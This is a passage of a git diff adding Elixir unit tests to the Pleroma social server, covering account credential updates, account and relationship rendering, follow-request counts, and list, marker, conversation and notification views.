200) + assert user_response["header"] != User.banner_url(user) + + # Also resets it + _res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => ""}) + + user = User.get_by_id(user.id) + assert user.banner == nil + end + + test "updates the user's background", %{conn: conn, user: user} do + new_header = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + res = + patch(conn, "/api/v1/accounts/update_credentials", %{ + "pleroma_background_image" => new_header + }) + + assert user_response = json_response_and_validate_schema(res, 200) + assert user_response["pleroma"]["background_image"] + # + # Also resets it + _res = + patch(conn, "/api/v1/accounts/update_credentials", %{"pleroma_background_image" => ""}) + + user = User.get_by_id(user.id) + assert user.background == nil + end + + test "requires 'write:accounts' permission" do + token1 = insert(:oauth_token, scopes: ["read"]) + token2 = insert(:oauth_token, scopes: ["write", "follow"]) + + for token <- [token1, token2] do + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer #{token.token}") + |> patch("/api/v1/accounts/update_credentials", %{}) + + if token == token1 do + assert %{"error" => "Insufficient permissions: write:accounts."} == + json_response_and_validate_schema(conn, 403) + else + assert json_response_and_validate_schema(conn, 200) + end + end + end + + test "updates profile emojos", %{user: user, conn: conn} do + note = "*sips :blank:*" + name = "I am :firefox:" + + ret_conn = + patch(conn, "/api/v1/accounts/update_credentials", %{ + "note" => note, + "display_name" => name + }) + + assert json_response_and_validate_schema(ret_conn, 200) + + conn = get(conn, "/api/v1/accounts/#{user.id}") + + assert user_data = json_response_and_validate_schema(conn, 200) + + assert user_data["note"] == note + assert user_data["display_name"] == name + assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user_data["emojis"] + end + + test "update fields", %{conn: conn} do + fields = [ + %{"name" => "foo", "value" => ""}, + %{"name" => "link.io", "value" => "cofe.io"} + ] + + account_data = + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(200) + + assert account_data["fields"] == [ + %{"name" => "foo", "value" => "bar"}, + %{ + "name" => "link.io", + "value" => ~S(cofe.io) + } + ] + + assert account_data["source"]["fields"] == [ + %{ + "name" => "foo", + "value" => "" + }, + %{"name" => "link.io", "value" => "cofe.io"} + ] + end + + test "emojis in fields labels", %{conn: conn} do + fields = [ + %{"name" => ":firefox:", "value" => "is best 2hu"}, + %{"name" => "they wins", "value" => ":blank:"} + ] + + account_data = + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(200) + + assert account_data["fields"] == [ + %{"name" => ":firefox:", "value" => "is best 2hu"}, + %{"name" => "they wins", "value" => ":blank:"} + ] + + assert account_data["source"]["fields"] == [ + %{"name" => ":firefox:", "value" => "is best 2hu"}, + %{"name" => "they wins", "value" => ":blank:"} + ] + + assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = account_data["emojis"] + end + + test "update fields via x-www-form-urlencoded", %{conn: conn} do + fields = + [ + "fields_attributes[1][name]=link", + "fields_attributes[1][value]=http://cofe.io", + "fields_attributes[0][name]=foo", + "fields_attributes[0][value]=bar" + ] + |> Enum.join("&") + + account = + conn + |> put_req_header("content-type", "application/x-www-form-urlencoded") + |> patch("/api/v1/accounts/update_credentials", fields) + |> json_response_and_validate_schema(200) + + assert account["fields"] == [ + %{"name" => "foo", "value" => "bar"}, + %{ + "name" => "link", + "value" => ~S(http://cofe.io) + } + ] + + assert account["source"]["fields"] == [ + %{"name" => "foo", "value" => "bar"}, + %{"name" => "link", "value" => "http://cofe.io"} + ] + end + + test "update fields with empty name", %{conn: conn} do + fields = [ + %{"name" => "foo", "value" => ""}, + %{"name" => "", "value" => "bar"} + ] + + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(200) + + assert account["fields"] == [ + %{"name" => "foo", "value" => ""} + ] + end + + test "update fields when invalid request", %{conn: conn} do + name_limit = Pleroma.Config.get([:instance, :account_field_name_length]) + value_limit = Pleroma.Config.get([:instance, :account_field_value_length]) + + long_name = Enum.map(0..name_limit, fn _ -> "x" end) |> Enum.join() + long_value = Enum.map(0..value_limit, fn _ -> "x" end) |> Enum.join() + + fields = [%{"name" => "foo", "value" => long_value}] + + assert %{"error" => "Invalid request"} == + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(403) + + fields = [%{"name" => long_name, "value" => "bar"}] + + assert %{"error" => "Invalid request"} == + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(403) + + Pleroma.Config.put([:instance, :max_account_fields], 1) + + fields = [ + %{"name" => "foo", "value" => "bar"}, + %{"name" => "link", "value" => "cofe.io"} + ] + + assert %{"error" => "Invalid request"} == + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(403) + end + end + + describe "Mark account as bot" do + setup do: oauth_access(["write:accounts"]) + setup :request_content_type + + test "changing actor_type to Service makes account a bot", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Service"}) + |> json_response_and_validate_schema(200) + + assert account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Service" + end + + test "changing actor_type to Person makes account a human", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Person"}) + |> json_response_and_validate_schema(200) + + refute account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Person" + end + + test "changing actor_type to Application causes error", %{conn: conn} do + response = + conn + |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Application"}) + |> json_response_and_validate_schema(403) + + assert %{"error" => "Invalid request"} == response + end + + test "changing bot field to true changes actor_type to Service", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{bot: "true"}) + |> json_response_and_validate_schema(200) + + assert account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Service" + end + + test "changing bot field to false changes actor_type to Person", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{bot: "false"}) + |> json_response_and_validate_schema(200) + + refute account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Person" + end + + test "actor_type field has a higher priority than bot", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{ + actor_type: "Person", + bot: "true" + }) + |> json_response_and_validate_schema(200) + + refute account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Person" + end + end +end diff --git a/test/pleroma/web/mastodon_api/views/account_view_test.exs b/test/pleroma/web/mastodon_api/views/account_view_test.exs new file mode 100644 index 000000000..a5f39b215 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/account_view_test.exs @@ -0,0 +1,575 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AccountViewTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.UserRelationship + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.AccountView + + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "Represent a user account" do + background_image = %{ + "url" => [%{"href" => "https://example.com/images/asuka_hospital.png"}] + } + + user = + insert(:user, %{ + follower_count: 3, + note_count: 5, + background: background_image, + nickname: "shp@shitposter.club", + name: ":karjalanpiirakka: shp", + bio: + "valid html. a
b
c
d
f '&<>\"", + inserted_at: ~N[2017-08-15 15:47:06.597036], + emoji: %{"karjalanpiirakka" => "/file.png"}, + raw_bio: "valid html. a\nb\nc\nd\nf '&<>\"" + }) + + expected = %{ + id: to_string(user.id), + username: "shp", + acct: user.nickname, + display_name: user.name, + locked: false, + created_at: "2017-08-15T15:47:06.000Z", + followers_count: 3, + following_count: 0, + statuses_count: 5, + note: "valid html. a
b
c
d
f '&<>"", + url: user.ap_id, + avatar: "http://localhost:4001/images/avi.png", + avatar_static: "http://localhost:4001/images/avi.png", + header: "http://localhost:4001/images/banner.png", + header_static: "http://localhost:4001/images/banner.png", + emojis: [ + %{ + static_url: "/file.png", + url: "/file.png", + shortcode: "karjalanpiirakka", + visible_in_picker: false + } + ], + fields: [], + bot: false, + source: %{ + note: "valid html. a\nb\nc\nd\nf '&<>\"", + sensitive: false, + pleroma: %{ + actor_type: "Person", + discoverable: true + }, + fields: [] + }, + pleroma: %{ + ap_id: user.ap_id, + background_image: "https://example.com/images/asuka_hospital.png", + favicon: nil, + confirmation_pending: false, + tags: [], + is_admin: false, + is_moderator: false, + hide_favorites: true, + hide_followers: false, + hide_follows: false, + hide_followers_count: false, + hide_follows_count: false, + relationship: %{}, + skip_thread_containment: false, + accepts_chat_messages: nil + } + } + + assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + describe "favicon" do + setup do + [user: insert(:user)] + end + + test "is parsed when :instance_favicons is enabled", %{user: user} do + clear_config([:instances_favicons, :enabled], true) + + assert %{ + pleroma: %{ + favicon: + "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" + } + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "is nil when :instances_favicons is disabled", %{user: user} do + assert %{pleroma: %{favicon: nil}} = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + end + + test "Represent the user account for the account owner" do + user = insert(:user) + + notification_settings = %{ + block_from_strangers: false, + hide_notification_contents: false + } + + privacy = user.default_scope + + assert %{ + pleroma: %{notification_settings: ^notification_settings, allow_following_move: true}, + source: %{privacy: ^privacy} + } = AccountView.render("show.json", %{user: user, for: user}) + end + + test "Represent a Service(bot) account" do + user = + insert(:user, %{ + follower_count: 3, + note_count: 5, + actor_type: "Service", + nickname: "shp@shitposter.club", + inserted_at: ~N[2017-08-15 15:47:06.597036] + }) + + expected = %{ + id: to_string(user.id), + username: "shp", + acct: user.nickname, + display_name: user.name, + locked: false, + created_at: "2017-08-15T15:47:06.000Z", + followers_count: 3, + following_count: 0, + statuses_count: 5, + note: user.bio, + url: user.ap_id, + avatar: "http://localhost:4001/images/avi.png", + avatar_static: "http://localhost:4001/images/avi.png", + header: "http://localhost:4001/images/banner.png", + header_static: "http://localhost:4001/images/banner.png", + emojis: [], + fields: [], + bot: true, + source: %{ + note: user.bio, + sensitive: false, + pleroma: %{ + actor_type: "Service", + discoverable: true + }, + fields: [] + }, + pleroma: %{ + ap_id: user.ap_id, + background_image: nil, + favicon: nil, + confirmation_pending: false, + tags: [], + is_admin: false, + is_moderator: false, + hide_favorites: true, + hide_followers: false, + hide_follows: false, + hide_followers_count: false, + hide_follows_count: false, + relationship: %{}, + skip_thread_containment: false, + accepts_chat_messages: nil + } + } + + assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "Represent a Funkwhale channel" do + {:ok, user} = + User.get_or_fetch_by_ap_id( + "https://channels.tests.funkwhale.audio/federation/actors/compositions" + ) + + assert represented = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + + assert represented.acct == "compositions@channels.tests.funkwhale.audio" + assert represented.url == "https://channels.tests.funkwhale.audio/channels/compositions" + end + + test "Represent a deactivated user for an admin" do + admin = insert(:user, is_admin: true) + deactivated_user = insert(:user, deactivated: true) + represented = AccountView.render("show.json", %{user: deactivated_user, for: admin}) + assert represented[:pleroma][:deactivated] == true + end + + test "Represent a smaller mention" do + user = insert(:user) + + expected = %{ + id: to_string(user.id), + acct: user.nickname, + username: user.nickname, + url: user.ap_id + } + + assert expected == AccountView.render("mention.json", %{user: user}) + end + + test "demands :for or :skip_visibility_check option for account rendering" do + clear_config([:restrict_unauthenticated, :profiles, :local], false) + + user = insert(:user) + user_id = user.id + + assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: nil}) + assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: user}) + + assert %{id: ^user_id} = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + + assert_raise RuntimeError, ~r/:skip_visibility_check or :for option is required/, fn -> + AccountView.render("show.json", %{user: user}) + end + end + + describe "relationship" do + defp test_relationship_rendering(user, other_user, expected_result) do + opts = %{user: user, target: other_user, relationships: nil} + assert expected_result == AccountView.render("relationship.json", opts) + + relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) + opts = Map.put(opts, :relationships, relationships_opt) + assert expected_result == AccountView.render("relationship.json", opts) + + assert [expected_result] == + AccountView.render("relationships.json", %{user: user, targets: [other_user]}) + end + + @blank_response %{ + following: false, + followed_by: false, + blocking: false, + blocked_by: false, + muting: false, + muting_notifications: false, + subscribing: false, + requested: false, + domain_blocking: false, + showing_reblogs: true, + endorsed: false + } + + test "represent a relationship for the following and followed user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, user} = User.follow(user, other_user) + {:ok, other_user} = User.follow(other_user, user) + {:ok, _subscription} = User.subscribe(user, other_user) + {:ok, _user_relationships} = User.mute(user, other_user, true) + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, other_user) + + expected = + Map.merge( + @blank_response, + %{ + following: true, + followed_by: true, + muting: true, + muting_notifications: true, + subscribing: true, + showing_reblogs: false, + id: to_string(other_user.id) + } + ) + + test_relationship_rendering(user, other_user, expected) + end + + test "represent a relationship for the blocking and blocked user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, user} = User.follow(user, other_user) + {:ok, _subscription} = User.subscribe(user, other_user) + {:ok, _user_relationship} = User.block(user, other_user) + {:ok, _user_relationship} = User.block(other_user, user) + + expected = + Map.merge( + @blank_response, + %{following: false, blocking: true, blocked_by: true, id: to_string(other_user.id)} + ) + + test_relationship_rendering(user, other_user, expected) + end + + test "represent a relationship for the user blocking a domain" do + user = insert(:user) + other_user = insert(:user, ap_id: "https://bad.site/users/other_user") + + {:ok, user} = User.block_domain(user, "bad.site") + + expected = + Map.merge( + @blank_response, + %{domain_blocking: true, blocking: false, id: to_string(other_user.id)} + ) + + test_relationship_rendering(user, other_user, expected) + end + + test "represent a relationship for the user with a pending follow request" do + user = insert(:user) + other_user = insert(:user, locked: true) + + {:ok, user, other_user, _} = CommonAPI.follow(user, other_user) + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + expected = + Map.merge( + @blank_response, + %{requested: true, following: false, id: to_string(other_user.id)} + ) + + test_relationship_rendering(user, other_user, expected) + end + end + + test "returns the settings store if the requesting user is the represented user and it's requested specifically" do + user = insert(:user, pleroma_settings_store: %{fe: "test"}) + + result = + AccountView.render("show.json", %{user: user, for: user, with_pleroma_settings: true}) + + assert result.pleroma.settings_store == %{:fe => "test"} + + result = AccountView.render("show.json", %{user: user, for: nil, with_pleroma_settings: true}) + assert result.pleroma[:settings_store] == nil + + result = AccountView.render("show.json", %{user: user, for: user}) + assert result.pleroma[:settings_store] == nil + end + + test "doesn't sanitize display names" do + user = insert(:user, name: " username ") + result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + assert result.display_name == " username " + end + + test "never display nil user follow counts" do + user = insert(:user, following_count: 0, follower_count: 0) + result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + + assert result.following_count == 0 + assert result.followers_count == 0 + end + + describe "hiding follows/following" do + test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do + user = + insert(:user, %{ + hide_followers: true, + hide_followers_count: true, + hide_follows: true, + hide_follows_count: true + }) + + other_user = insert(:user) + {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{ + followers_count: 0, + following_count: 0, + pleroma: %{hide_follows_count: true, hide_followers_count: true} + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "shows when follows/followers are hidden" do + user = insert(:user, hide_followers: true, hide_follows: true) + other_user = insert(:user) + {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{ + followers_count: 1, + following_count: 1, + pleroma: %{hide_follows: true, hide_followers: true} + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "shows actual follower/following count to the account owner" do + user = insert(:user, hide_followers: true, hide_follows: true) + other_user = insert(:user) + {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) + + assert User.following?(user, other_user) + assert Pleroma.FollowingRelationship.follower_count(other_user) == 1 + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{ + followers_count: 1, + following_count: 1 + } = AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows unread_conversation_count only to the account owner" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(other_user, %{ + status: "Hey @#{user.nickname}.", + visibility: "direct" + }) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert AccountView.render("show.json", %{user: user, for: other_user})[:pleroma][ + :unread_conversation_count + ] == nil + + assert AccountView.render("show.json", %{user: user, for: user})[:pleroma][ + :unread_conversation_count + ] == 1 + end + + test "shows unread_count only to the account owner" do + user = insert(:user) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + other_user = insert(:user) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert AccountView.render( + "show.json", + %{user: user, for: other_user} + )[:pleroma][:unread_notifications_count] == nil + + assert AccountView.render( + "show.json", + %{user: user, for: user} + )[:pleroma][:unread_notifications_count] == 7 + end + end + + describe "follow requests counter" do + test "shows zero when no follow requests are pending" do + user = insert(:user) + + assert %{follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows non-zero when follow requests are pending" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "decreases when accepting a follow request" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + + {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) + + assert %{locked: true, follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "decreases when rejecting a follow request" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + + {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) + + assert %{locked: true, follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows non-zero when historical unapproved requests are present" do + user = insert(:user, locked: true) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + {:ok, user} = User.update_and_set_cache(user, %{locked: false}) + + assert %{locked: false, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + end + end + + test "uses mediaproxy urls when it's enabled (regardless of media preview proxy state)" do + clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled]) + + user = + insert(:user, + avatar: %{"url" => [%{"href" => "https://evil.website/avatar.png"}]}, + banner: %{"url" => [%{"href" => "https://evil.website/banner.png"}]}, + emoji: %{"joker_smile" => "https://evil.website/society.png"} + ) + + with media_preview_enabled <- [false, true] do + Config.put([:media_preview_proxy, :enabled], media_preview_enabled) + + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + |> Enum.all?(fn + {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> + String.starts_with?(url, Pleroma.Web.base_url()) + + {:emojis, emojis} -> + Enum.all?(emojis, fn %{url: url, static_url: static_url} -> + String.starts_with?(url, Pleroma.Web.base_url()) && + String.starts_with?(static_url, Pleroma.Web.base_url()) + end) + + _ -> + true + end) + |> assert() + end + end +end diff --git a/test/pleroma/web/mastodon_api/views/conversation_view_test.exs b/test/pleroma/web/mastodon_api/views/conversation_view_test.exs new file mode 100644 index 000000000..2e8203c9b --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/conversation_view_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationViewTest do + use Pleroma.DataCase + + alias Pleroma.Conversation.Participation + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.ConversationView + + import Pleroma.Factory + + test "represents a Mastodon Conversation entity" do + user = insert(:user) + other_user = insert(:user) + + {:ok, parent} = CommonAPI.post(user, %{status: "parent"}) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}", + visibility: "direct", + in_reply_to_id: parent.id + }) + + {:ok, _reply_activity} = + CommonAPI.post(user, %{status: "hu", visibility: "public", in_reply_to_id: parent.id}) + + [participation] = Participation.for_user_with_last_activity_id(user) + + assert participation + + conversation = + ConversationView.render("participation.json", %{participation: participation, for: user}) + + assert conversation.id == participation.id |> to_string() + assert conversation.last_status.id == activity.id + + assert [account] = conversation.accounts + assert account.id == other_user.id + assert conversation.last_status.pleroma.direct_conversation_id == participation.id + end +end diff --git a/test/pleroma/web/mastodon_api/views/list_view_test.exs b/test/pleroma/web/mastodon_api/views/list_view_test.exs new file mode 100644 index 000000000..ca99242cb --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/list_view_test.exs @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ListViewTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.MastodonAPI.ListView + + test "show" do + user = insert(:user) + title = "mortal enemies" + {:ok, list} = Pleroma.List.create(title, user) + + expected = %{ + id: to_string(list.id), + title: title + } + + assert expected == ListView.render("show.json", %{list: list}) + end + + test "index" do + user = insert(:user) + + {:ok, list} = Pleroma.List.create("my list", user) + {:ok, list2} = Pleroma.List.create("cofe", user) + + assert [%{id: _, title: "my list"}, %{id: _, title: "cofe"}] = + ListView.render("index.json", lists: [list, list2]) + end +end diff --git a/test/pleroma/web/mastodon_api/views/marker_view_test.exs b/test/pleroma/web/mastodon_api/views/marker_view_test.exs new file mode 100644 index 000000000..48a0a6d33 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/marker_view_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MarkerViewTest do + use Pleroma.DataCase + alias Pleroma.Web.MastodonAPI.MarkerView + import Pleroma.Factory + + test "returns markers" do + marker1 = insert(:marker, timeline: "notifications", last_read_id: "17", unread_count: 5) + marker2 = insert(:marker, timeline: "home", last_read_id: "42") + + assert MarkerView.render("markers.json", %{markers: [marker1, marker2]}) == %{ + "home" => %{ + last_read_id: "42", + updated_at: NaiveDateTime.to_iso8601(marker2.updated_at), + version: 0, + pleroma: %{unread_count: 0} + }, + "notifications" => %{ + last_read_id: "17", + updated_at: NaiveDateTime.to_iso8601(marker1.updated_at), + version: 0, + pleroma: %{unread_count: 5} + } + } + end +end diff --git a/test/pleroma/web/mastodon_api/views/notification_view_test.exs b/test/pleroma/web/mastodon_api/views/notification_view_test.exs new file mode 100644 index 000000000..2f6a808f1 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/notification_view_test.exs @@ -0,0 +1,231 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.MastodonAPI.NotificationView + alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + import Pleroma.Factory + + defp test_notifications_rendering(notifications, user, expected_result) do + result = NotificationView.render("index.json", %{notifications: notifications, for: user}) + + assert expected_result == result + + result = + NotificationView.render("index.json", %{ + notifications: notifications, + for: user, + relationships: nil + }) + + assert expected_result == result + end + + test "ChatMessage notification" do + user = insert(:user) + recipient = insert(:user) + {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "what's up my dude") + + {:ok, [notification]} = Notification.create_notifications(activity) + + object = Object.normalize(activity) + chat = Chat.get(recipient.id, user.ap_id) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "pleroma:chat_mention", + account: AccountView.render("show.json", %{user: user, for: recipient}), + chat_message: MessageReferenceView.render("show.json", %{chat_message_reference: cm_ref}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], recipient, [expected]) + end + + test "Mention notification" do + user = insert(:user) + mentioned_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{mentioned_user.nickname}"}) + {:ok, [notification]} = Notification.create_notifications(activity) + user = User.get_cached_by_id(user.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "mention", + account: + AccountView.render("show.json", %{ + user: user, + for: mentioned_user + }), + status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], mentioned_user, [expected]) + end + + test "Favourite notification" do + user = insert(:user) + another_user = insert(:user) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) + {:ok, [notification]} = Notification.create_notifications(favorite_activity) + create_activity = Activity.get_by_id(create_activity.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "favourite", + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: create_activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end + + test "Reblog notification" do + user = insert(:user) + another_user = insert(:user) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, another_user) + {:ok, [notification]} = Notification.create_notifications(reblog_activity) + reblog_activity = Activity.get_by_id(create_activity.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "reblog", + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: reblog_activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end + + test "Follow notification" do + follower = insert(:user) + followed = insert(:user) + {:ok, follower, followed, _activity} = CommonAPI.follow(follower, followed) + notification = Notification |> Repo.one() |> Repo.preload(:activity) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "follow", + account: AccountView.render("show.json", %{user: follower, for: followed}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], followed, [expected]) + + User.perform(:delete, follower) + refute Repo.one(Notification) + end + + @tag capture_log: true + test "Move notification" do + old_user = insert(:user) + new_user = insert(:user, also_known_as: [old_user.ap_id]) + follower = insert(:user) + + old_user_url = old_user.ap_id + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", old_user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock(fn + %{method: :get, url: ^old_user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + User.follow(follower, old_user) + Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) + Pleroma.Tests.ObanHelpers.perform_all() + + old_user = refresh_record(old_user) + new_user = refresh_record(new_user) + + [notification] = Notification.for_user(follower) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "move", + account: AccountView.render("show.json", %{user: old_user, for: follower}), + target: AccountView.render("show.json", %{user: new_user, for: follower}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], follower, [expected]) + end + + test "EmojiReact notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + activity = Repo.get(Activity, activity.id) + + [notification] = Notification.for_user(user) + + assert notification + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: false, is_muted: false}, + type: "pleroma:emoji_reaction", + emoji: "☕", + account: AccountView.render("show.json", %{user: other_user, for: user}), + status: StatusView.render("show.json", %{activity: activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end + + test "muted notification" do + user = insert(:user) + another_user = insert(:user) + + {:ok, _} = 